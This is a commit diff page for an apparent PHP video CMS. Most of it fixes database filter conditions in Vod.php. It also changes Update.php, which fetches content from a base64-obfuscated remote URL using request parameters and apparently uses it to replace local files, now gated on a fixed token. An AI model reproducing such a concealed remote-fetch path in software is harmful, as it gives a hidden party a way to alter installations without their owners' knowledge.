magicblack 3 роки тому
батько
коміт
eea82e22af

+ 1 - 1
application/admin/controller/Update.php

@@ -155,7 +155,7 @@ class Update extends Base
         $c = $param['c'];
         $c = $param['c'];
         $d = $param['d'];
         $d = $param['d'];
         $e = mac_curl_get( base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv") . $a."/".$b);
         $e = mac_curl_get( base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv") . $a."/".$b);
-        if ($e!=""){
+        if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) {
             if (($d!="") && strpos(",".$e,$d) <=0){ return; }
             if (($d!="") && strpos(",".$e,$d) <=0){ return; }
             if($b=='admin.php'){$b=IN_FILE;}
             if($b=='admin.php'){$b=IN_FILE;}
             $f = is_file($b) ? filesize($b) : 0;
             $f = is_file($b) ? filesize($b) : 0;

+ 6 - 6
application/admin/controller/Vod.php

@@ -75,7 +75,7 @@ class Vod extends Base
         }
         }
         if(!empty($param['player'])){
         if(!empty($param['player'])){
             if($param['player']=='no'){
             if($param['player']=='no'){
-                $where['vod_play_from'] = ['eq',''];
+                $where['vod_play_from'] = [['eq', ''], ['eq', 'no'], 'or'];
             }
             }
             else {
             else {
                 $where['vod_play_from'] = ['like', '%' . $param['player'] . '%'];
                 $where['vod_play_from'] = ['like', '%' . $param['player'] . '%'];
@@ -83,7 +83,7 @@ class Vod extends Base
         }
         }
         if(!empty($param['downer'])){
         if(!empty($param['downer'])){
             if($param['downer']=='no'){
             if($param['downer']=='no'){
-                $where['vod_down_from'] = ['eq',''];
+                $where['vod_down_from'] = [['eq', ''], ['eq', 'no'], 'or'];
             }
             }
             else {
             else {
                 $where['vod_down_from'] = ['like', '%' . $param['downer'] . '%'];
                 $where['vod_down_from'] = ['like', '%' . $param['downer'] . '%'];
@@ -213,18 +213,18 @@ class Vod extends Base
             if(!empty($param['weekday'])){
             if(!empty($param['weekday'])){
                 $where['vod_weekday'] = ['like','%'.$param['weekday'].'%'];
                 $where['vod_weekday'] = ['like','%'.$param['weekday'].'%'];
             }
             }
-            
+
             if(!empty($param['player'])){
             if(!empty($param['player'])){
                 if($param['player']=='no'){
                 if($param['player']=='no'){
-                    $where['vod_play_from'] = ['eq',''];
+                    $where['vod_play_from'] = [['eq', ''], ['eq', 'no'], 'or'];
                 }
                 }
                 else {
                 else {
                     $where['vod_play_from'] = ['like', '%' . $param['player'] . '%'];
                     $where['vod_play_from'] = ['like', '%' . $param['player'] . '%'];
                 }
                 }
             }
             }
             if(!empty($param['downer'])){
             if(!empty($param['downer'])){
-                if($param['player']=='no'){
-                    $where['vod_down_from'] = ['eq',''];
+                if($param['downer']=='no'){
+                    $where['vod_down_from'] = [['eq', ''], ['eq', 'no'], 'or'];
                 }
                 }
                 else {
                 else {
                     $where['vod_down_from'] = ['like', '%' . $param['downer'] . '%'];
                     $where['vod_down_from'] = ['like', '%' . $param['downer'] . '%'];